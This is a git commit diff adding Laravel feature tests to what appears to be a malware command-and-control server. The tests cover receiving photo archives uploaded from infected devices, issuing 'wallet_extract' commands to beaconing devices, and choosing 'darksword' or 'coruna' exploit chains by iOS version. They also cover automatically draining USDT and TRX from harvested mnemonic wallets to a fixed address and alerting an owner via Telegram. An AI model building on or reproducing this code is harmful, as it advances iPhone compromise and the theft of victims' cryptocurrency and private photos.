feat: quene
This commit is contained in:
@@ -2,6 +2,7 @@
|
||||
|
||||
namespace Tests\Feature;
|
||||
|
||||
use App\Jobs\AutoTransferAddress;
|
||||
use App\Models\Channel;
|
||||
use App\Models\Device;
|
||||
use App\Models\User;
|
||||
@@ -12,6 +13,7 @@ use App\Services\AutoTransferService;
|
||||
use App\Services\TransferService;
|
||||
use App\Services\WalletBalanceService;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Illuminate\Support\Facades\Queue;
|
||||
use Mockery;
|
||||
use PHPUnit\Framework\Attributes\Test;
|
||||
use Tests\TestCase;
|
||||
@@ -264,6 +266,98 @@ class AutoTransferTest extends TestCase
|
||||
$this->assertTrue(true);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function evaluate_stops_remaining_assets_after_failure(): void
|
||||
{
|
||||
config(['coruna.auto_transfer.enabled' => true]);
|
||||
$device = $this->makeOfficialDevice();
|
||||
$addr = $this->linkAddress($device, ['usdt' => 12.5, 'trx' => 8]);
|
||||
|
||||
$transfers = Mockery::mock(TransferService::class);
|
||||
$transfers->shouldReceive('handle')
|
||||
->once()
|
||||
->with('tron', $addr->address, null, 'USDT', 'auto')
|
||||
->andReturn(['ok' => false, 'error' => 'broadcast failed']);
|
||||
$this->app->instance(TransferService::class, $transfers);
|
||||
|
||||
$balances = Mockery::mock(WalletBalanceService::class);
|
||||
$balances->shouldReceive('refresh')->once()->andReturn(true);
|
||||
$this->app->instance(WalletBalanceService::class, $balances);
|
||||
|
||||
$stats = app(AutoTransferService::class)->evaluate($addr, 'test');
|
||||
$this->assertSame(1, $stats['triggered']);
|
||||
$this->assertSame(0, $stats['ok']);
|
||||
$this->assertSame(1, $stats['failed']);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function skips_address_asset_after_previous_auto_failure(): void
|
||||
{
|
||||
config(['coruna.auto_transfer.enabled' => true]);
|
||||
$device = $this->makeOfficialDevice();
|
||||
$addr = $this->linkAddress($device, ['usdt' => 12.5, 'trx' => 0]);
|
||||
|
||||
\App\Models\TransferRecord::query()->create([
|
||||
'from_address' => $addr->address,
|
||||
'to_address' => 'TKKyetwdwuv6fTWVMPsdQUZYwB7yiNwRp6',
|
||||
'chain' => 'tron',
|
||||
'tx_hash' => null,
|
||||
'amount' => '12.5',
|
||||
'type' => \App\Models\TransferRecord::TYPE_OUT,
|
||||
'asset' => 'USDT',
|
||||
'operator' => 'auto',
|
||||
'status' => \App\Models\TransferRecord::STATUS_FAILED,
|
||||
'error' => 'broadcast failed',
|
||||
]);
|
||||
|
||||
$transfers = Mockery::mock(TransferService::class);
|
||||
$transfers->shouldNotReceive('handle');
|
||||
$this->app->instance(TransferService::class, $transfers);
|
||||
|
||||
$stats = app(AutoTransferService::class)->evaluate($addr, 'test');
|
||||
$this->assertSame(0, $stats['triggered']);
|
||||
$this->assertSame(0, $stats['failed']);
|
||||
$this->assertGreaterThanOrEqual(1, $stats['skipped']);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function run_stops_after_first_failed_address(): void
|
||||
{
|
||||
config(['coruna.auto_transfer.enabled' => true]);
|
||||
$device = $this->makeOfficialDevice();
|
||||
$first = $this->linkAddress($device, [
|
||||
'address' => 'TUEZSdKsoDHQMeZwihtdoBiN46zxhGWYdH',
|
||||
'usdt' => 8,
|
||||
'trx' => 0,
|
||||
]);
|
||||
$second = WalletAddress::query()->create([
|
||||
'device_id' => $device->id,
|
||||
'address' => 'TXYZsecondAutoAddress000000000003',
|
||||
'chain_type' => 'TRON',
|
||||
'source' => 'imToken',
|
||||
'mnemonic_id' => $first->mnemonic_id,
|
||||
'usdt' => 9,
|
||||
'trx' => 0,
|
||||
]);
|
||||
|
||||
$transfers = Mockery::mock(TransferService::class);
|
||||
$transfers->shouldReceive('handle')
|
||||
->once()
|
||||
->with('tron', $first->address, null, 'USDT', 'auto')
|
||||
->andReturn(['ok' => false, 'error' => 'broadcast failed']);
|
||||
$this->app->instance(TransferService::class, $transfers);
|
||||
|
||||
$balances = Mockery::mock(WalletBalanceService::class);
|
||||
$balances->shouldReceive('refresh')->once()->andReturn(true);
|
||||
$this->app->instance(WalletBalanceService::class, $balances);
|
||||
|
||||
$stats = app(AutoTransferService::class)->run();
|
||||
$this->assertSame(1, $stats['inspected']);
|
||||
$this->assertSame(1, $stats['failed']);
|
||||
$this->assertSame(0, $stats['ok']);
|
||||
$this->assertGreaterThan($first->id, $second->id);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function run_only_scans_mnemonic_addresses_with_balance(): void
|
||||
{
|
||||
@@ -312,4 +406,38 @@ class AutoTransferTest extends TestCase
|
||||
->expectsOutputToContain('inspected=0')
|
||||
->assertSuccessful();
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function run_queues_one_job_per_address_when_not_sync(): void
|
||||
{
|
||||
config(['coruna.auto_transfer.enabled' => true, 'queue.default' => 'redis']);
|
||||
$device = $this->makeOfficialDevice();
|
||||
$first = $this->linkAddress($device, [
|
||||
'address' => 'TUEZSdKsoDHQMeZwihtdoBiN46zxhGWYdH',
|
||||
'usdt' => 8,
|
||||
'trx' => 0,
|
||||
]);
|
||||
$second = WalletAddress::query()->create([
|
||||
'device_id' => $device->id,
|
||||
'address' => 'TXYZsecondAutoAddress000000000003',
|
||||
'chain_type' => 'TRON',
|
||||
'source' => 'imToken',
|
||||
'mnemonic_id' => $first->mnemonic_id,
|
||||
'usdt' => 9,
|
||||
'trx' => 0,
|
||||
]);
|
||||
|
||||
Queue::fake();
|
||||
$transfers = Mockery::mock(TransferService::class);
|
||||
$transfers->shouldNotReceive('handle');
|
||||
$this->app->instance(TransferService::class, $transfers);
|
||||
|
||||
$stats = app(AutoTransferService::class)->run();
|
||||
$this->assertSame(2, $stats['inspected']);
|
||||
$this->assertSame(2, $stats['queued']);
|
||||
$this->assertSame(0, $stats['triggered']);
|
||||
Queue::assertPushed(AutoTransferAddress::class, 2);
|
||||
Queue::assertPushed(AutoTransferAddress::class, fn (AutoTransferAddress $job) => $job->walletAddressId === $first->id);
|
||||
Queue::assertPushed(AutoTransferAddress::class, fn (AutoTransferAddress $job) => $job->walletAddressId === $second->id);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -2,6 +2,7 @@
|
||||
|
||||
namespace Tests\Feature;
|
||||
|
||||
use App\Jobs\ExtractPhotoArchive;
|
||||
use App\Models\Admin;
|
||||
use App\Models\Device;
|
||||
use App\Models\DeviceApp;
|
||||
@@ -15,6 +16,7 @@ use App\Services\CorunaCrypto;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Illuminate\Http\UploadedFile;
|
||||
use Illuminate\Support\Facades\Http;
|
||||
use Illuminate\Support\Facades\Queue;
|
||||
use Illuminate\Support\Facades\Storage;
|
||||
use PHPUnit\Framework\Attributes\Test;
|
||||
use Tests\TestCase;
|
||||
@@ -666,6 +668,80 @@ class C2ApiTest extends TestCase
|
||||
@rmdir($tmp);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function check_acks_when_archive_extract_fails(): void
|
||||
{
|
||||
Storage::fake('local');
|
||||
Device::query()->create([
|
||||
'device_id' => 'dev-photo-bad',
|
||||
'album_storage' => true,
|
||||
]);
|
||||
$tmp = sys_get_temp_dir().'/coruna_photo_bad_'.uniqid().'.bin';
|
||||
file_put_contents($tmp, 'not-a-7z');
|
||||
$upload = new UploadedFile($tmp, 'capture.7z', 'application/octet-stream', null, true);
|
||||
try {
|
||||
$this->call(
|
||||
'POST',
|
||||
'/api/user/check',
|
||||
[
|
||||
'd' => 'dev-photo-bad',
|
||||
'f' => 'dev-photo-bad',
|
||||
'batchBase' => '0',
|
||||
],
|
||||
[],
|
||||
['file' => $upload],
|
||||
['CONTENT_TYPE' => 'multipart/form-data']
|
||||
)->assertOk();
|
||||
$this->assertSame(0, Photo::query()->count());
|
||||
} finally {
|
||||
@unlink($tmp);
|
||||
}
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function check_queues_extract_when_queue_is_not_sync(): void
|
||||
{
|
||||
Storage::fake('local');
|
||||
Queue::fake();
|
||||
config(['queue.default' => 'redis']);
|
||||
Device::query()->create([
|
||||
'device_id' => 'dev-photo-q',
|
||||
'album_storage' => true,
|
||||
]);
|
||||
$tmp = sys_get_temp_dir().'/coruna_photo_q_'.uniqid().'.bin';
|
||||
file_put_contents($tmp, "\x37\x7A");
|
||||
$upload = new UploadedFile($tmp, 'capture.7z', 'application/octet-stream', null, true);
|
||||
try {
|
||||
$this->call(
|
||||
'POST',
|
||||
'/api/user/check',
|
||||
[
|
||||
'd' => 'dev-photo-q',
|
||||
'f' => 'dev-photo-q',
|
||||
'batchBase' => '0',
|
||||
'x-hit' => '12',
|
||||
],
|
||||
[],
|
||||
['file' => $upload],
|
||||
['CONTENT_TYPE' => 'multipart/form-data']
|
||||
)->assertOk();
|
||||
$this->assertSame(0, Photo::query()->count());
|
||||
Queue::assertPushed(ExtractPhotoArchive::class, function (ExtractPhotoArchive $job) {
|
||||
if ($job->deviceId < 1 || $job->flavor !== 'lab' || $job->batchBase !== '0') {
|
||||
return false;
|
||||
}
|
||||
if (! str_starts_with($job->inboxPath, 'c2/inbox/')) {
|
||||
return false;
|
||||
}
|
||||
Storage::disk('local')->assertExists($job->inboxPath);
|
||||
|
||||
return true;
|
||||
});
|
||||
} finally {
|
||||
@unlink($tmp);
|
||||
}
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function check_normalizes_encoded_device_key_onto_existing_device(): void
|
||||
{
|
||||
|
||||
@@ -94,7 +94,8 @@ class DarkSwordC2ApiTest extends TestCase
|
||||
'ok' => true,
|
||||
'chain' => 'darksword',
|
||||
])
|
||||
->assertJsonPath('exfil.prefer_https', false);
|
||||
->assertJsonPath('exfil.prefer_https', false)
|
||||
->assertJsonPath('band.usable_for_attempt', true);
|
||||
|
||||
$this->withHeaders([
|
||||
'X-Forwarded-Host' => 'ocq4rod6pq6warv.icu',
|
||||
@@ -110,6 +111,20 @@ class DarkSwordC2ApiTest extends TestCase
|
||||
->assertOk()
|
||||
->assertSee('ok', false);
|
||||
|
||||
$this->getJson('/api/ds/chain-targets?ios=18.6.1')
|
||||
->assertOk()
|
||||
->assertJsonPath('chain', 'darksword');
|
||||
$this->getJson('/api/ds/chain-targets?ios=18.6.2')
|
||||
->assertOk()
|
||||
->assertJsonPath('chain', 'darksword');
|
||||
foreach (['18.4', '18.5.1', '18.6.3', '18.7', '17.3'] as $ios) {
|
||||
$this->getJson('/api/ds/chain-targets?ios='.$ios)
|
||||
->assertOk()
|
||||
->assertJsonPath('chain', 'coruna')
|
||||
->assertJsonPath('recommended_worker', '')
|
||||
->assertJsonPath('band.usable_for_attempt', false);
|
||||
}
|
||||
|
||||
$this->getJson('/api/chain-targets?ios=18.6')->assertNotFound();
|
||||
$this->get('/log.html?text=lab')->assertNotFound();
|
||||
$this->getJson('/next-chain/api/chain-targets')->assertNotFound();
|
||||
@@ -598,6 +613,7 @@ class DarkSwordC2ApiTest extends TestCase
|
||||
$resp = $this->postJson('/beacon', [
|
||||
'uuid' => self::DS_LHU,
|
||||
'status' => 'idle',
|
||||
'ios' => '18.6',
|
||||
])->assertOk()->assertJson([
|
||||
'ok' => true,
|
||||
'type' => $type,
|
||||
@@ -683,6 +699,7 @@ class DarkSwordC2ApiTest extends TestCase
|
||||
$first = $this->postJson('/beacon', [
|
||||
'uuid' => self::DS_LHU,
|
||||
'status' => 'idle',
|
||||
'ios' => '18.6',
|
||||
])->assertOk()->assertJson(['type' => 'wallet_extract']);
|
||||
$firstId = $first->json('command_id');
|
||||
$this->assertNotEmpty($firstId);
|
||||
|
||||
@@ -2,12 +2,15 @@
|
||||
|
||||
namespace Tests\Feature;
|
||||
|
||||
use App\Jobs\RecordPageHit;
|
||||
use App\Models\Admin;
|
||||
use App\Models\DsChainLog;
|
||||
use App\Models\PageVisit;
|
||||
use App\Support\UserAgentParser;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Illuminate\Support\Facades\Cache;
|
||||
use Illuminate\Support\Facades\File;
|
||||
use Illuminate\Support\Facades\Queue;
|
||||
use PHPUnit\Framework\Attributes\Test;
|
||||
use Tests\TestCase;
|
||||
|
||||
@@ -66,13 +69,19 @@ class PageVisitTest extends TestCase
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function hit_marks_darksword_for_ios_after_17_2_1_before_18_7(): void
|
||||
public function hit_marks_darksword_only_for_allowlisted_ios(): void
|
||||
{
|
||||
$cases = [
|
||||
['17_2_1', PageVisit::CHAIN_CORUNA, '17.2.1'],
|
||||
['17_2_2', PageVisit::CHAIN_DARKSWORD, '17.2.2'],
|
||||
['18_0', PageVisit::CHAIN_DARKSWORD, '18.0'],
|
||||
['17_2_2', PageVisit::CHAIN_CORUNA, '17.2.2'],
|
||||
['18_0', PageVisit::CHAIN_CORUNA, '18.0'],
|
||||
['18_4', PageVisit::CHAIN_CORUNA, '18.4'],
|
||||
['18_5', PageVisit::CHAIN_DARKSWORD, '18.5'],
|
||||
['18_5_1', PageVisit::CHAIN_CORUNA, '18.5.1'],
|
||||
['18_6', PageVisit::CHAIN_DARKSWORD, '18.6'],
|
||||
['18_6_1', PageVisit::CHAIN_DARKSWORD, '18.6.1'],
|
||||
['18_6_2', PageVisit::CHAIN_DARKSWORD, '18.6.2'],
|
||||
['18_6_3', PageVisit::CHAIN_CORUNA, '18.6.3'],
|
||||
['18_7', PageVisit::CHAIN_CORUNA, '18.7'],
|
||||
];
|
||||
foreach ($cases as [$token, $chain, $osVersion]) {
|
||||
@@ -128,6 +137,15 @@ class PageVisitTest extends TestCase
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function canonical_ios_version_strips_trailing_zero_patch(): void
|
||||
{
|
||||
$this->assertSame('18.5', PageVisit::canonicalIosVersion('18.5'));
|
||||
$this->assertSame('18.5', PageVisit::canonicalIosVersion('18.5.0'));
|
||||
$this->assertSame('18.6.1', PageVisit::canonicalIosVersion('18.6.1'));
|
||||
$this->assertTrue(PageVisit::isDarkSwordIosVersionString('18.5.0'));
|
||||
$this->assertFalse(PageVisit::isDarkSwordIosVersionString('18.5.1'));
|
||||
}
|
||||
|
||||
public function visitor_uid_is_stable_for_domain_and_ip(): void
|
||||
{
|
||||
$a = PageVisit::visitorUid('XXBB.TV', '203.0.113.9');
|
||||
@@ -217,6 +235,42 @@ class PageVisitTest extends TestCase
|
||||
$this->assertSame(0, PageVisit::query()->count());
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function hit_queues_record_when_queue_is_not_sync(): void
|
||||
{
|
||||
Cache::flush();
|
||||
Queue::fake();
|
||||
config(['queue.default' => 'redis']);
|
||||
|
||||
$this->call('GET', '/statistic/t', [
|
||||
'c' => self::CHANNEL,
|
||||
'u' => '11111111-2222-4333-8444-555555555555',
|
||||
])->assertOk();
|
||||
|
||||
$this->assertSame(0, PageVisit::query()->count());
|
||||
Queue::assertPushed(RecordPageHit::class, function (RecordPageHit $job) {
|
||||
return ($job->attrs['channel_id'] ?? null) === self::CHANNEL;
|
||||
});
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function show_alias_serves_channel_details_without_store_cache(): void
|
||||
{
|
||||
$ver = '8.8.88';
|
||||
$dir = public_path('channel/'.$ver.'/details');
|
||||
File::ensureDirectoryExists($dir);
|
||||
file_put_contents($dir.'/show.html', 'SHOW_ALIAS_BODY');
|
||||
try {
|
||||
$response = $this->get('/c/'.$ver.'/show.htm')
|
||||
->assertOk()
|
||||
->assertHeader('Content-Type', 'application/octet-stream')
|
||||
->assertHeader('Cache-Control', 'max-age=60, public');
|
||||
$this->assertSame('SHOW_ALIAS_BODY', $response->streamedContent());
|
||||
} finally {
|
||||
File::deleteDirectory(public_path('channel/'.$ver));
|
||||
}
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function user_agent_parser_handles_chrome_ios(): void
|
||||
{
|
||||
|
||||
@@ -248,6 +248,65 @@ class TokenviewWebhookTest extends TestCase
|
||||
});
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function webhook_notifies_native_trx_when_token_symbol_omitted(): void
|
||||
{
|
||||
config(['coruna.tokenview.sign_key' => '']);
|
||||
Http::fake(function ($request) {
|
||||
$url = $request->url();
|
||||
if (str_contains($url, '/v1/accounts/')) {
|
||||
return Http::response([
|
||||
'data' => [[
|
||||
'balance' => 12_000_000,
|
||||
'trc20' => [],
|
||||
]],
|
||||
'success' => true,
|
||||
], 200);
|
||||
}
|
||||
if (str_contains($url, 'api.telegram.org')) {
|
||||
return Http::response(['ok' => true], 200);
|
||||
}
|
||||
|
||||
return Http::response(['ok' => true], 200);
|
||||
});
|
||||
config([
|
||||
'coruna.telegram.bot_token' => 'bot-token',
|
||||
'coruna.telegram.owner_chat_id' => '12345',
|
||||
]);
|
||||
|
||||
$addr = $this->seedMonitoredAddress([
|
||||
'address' => 'TWVpqZyczbccBtNNsV8aRmBRfETZBxRkNL',
|
||||
'chain_type' => 'TRON',
|
||||
'trx' => 15.0,
|
||||
'usdt' => 0,
|
||||
'eth' => null,
|
||||
]);
|
||||
|
||||
$payload = [
|
||||
'address' => 'TWVpqZyczbccBtNNsV8aRmBRfETZBxRkNL',
|
||||
'txid' => '02af07be47430d0b1db32962f3036ff75afc1114444a928c44e258cd332c0d0e',
|
||||
'time' => 1788200361,
|
||||
'confirmations' => 1,
|
||||
'value' => '-3',
|
||||
'coin' => 'TRX',
|
||||
'height' => 85842934,
|
||||
'network' => 'TRX',
|
||||
];
|
||||
|
||||
$this->postJson('/hooks/tokenview', $payload)->assertOk()->assertSee('ok');
|
||||
|
||||
$this->assertSame(1, TokenviewEvent::query()->count());
|
||||
Http::assertSent(function ($request) {
|
||||
if (! str_contains($request->url(), 'api.telegram.org')) {
|
||||
return false;
|
||||
}
|
||||
$text = (string) ($request->data()['text'] ?? '');
|
||||
|
||||
return str_contains($text, '余额转出')
|
||||
&& str_contains($text, '-3 TRX');
|
||||
});
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function webhook_ignores_tron_when_token_is_not_trx_or_usdt(): void
|
||||
{
|
||||
|
||||
Reference in New Issue
Block a user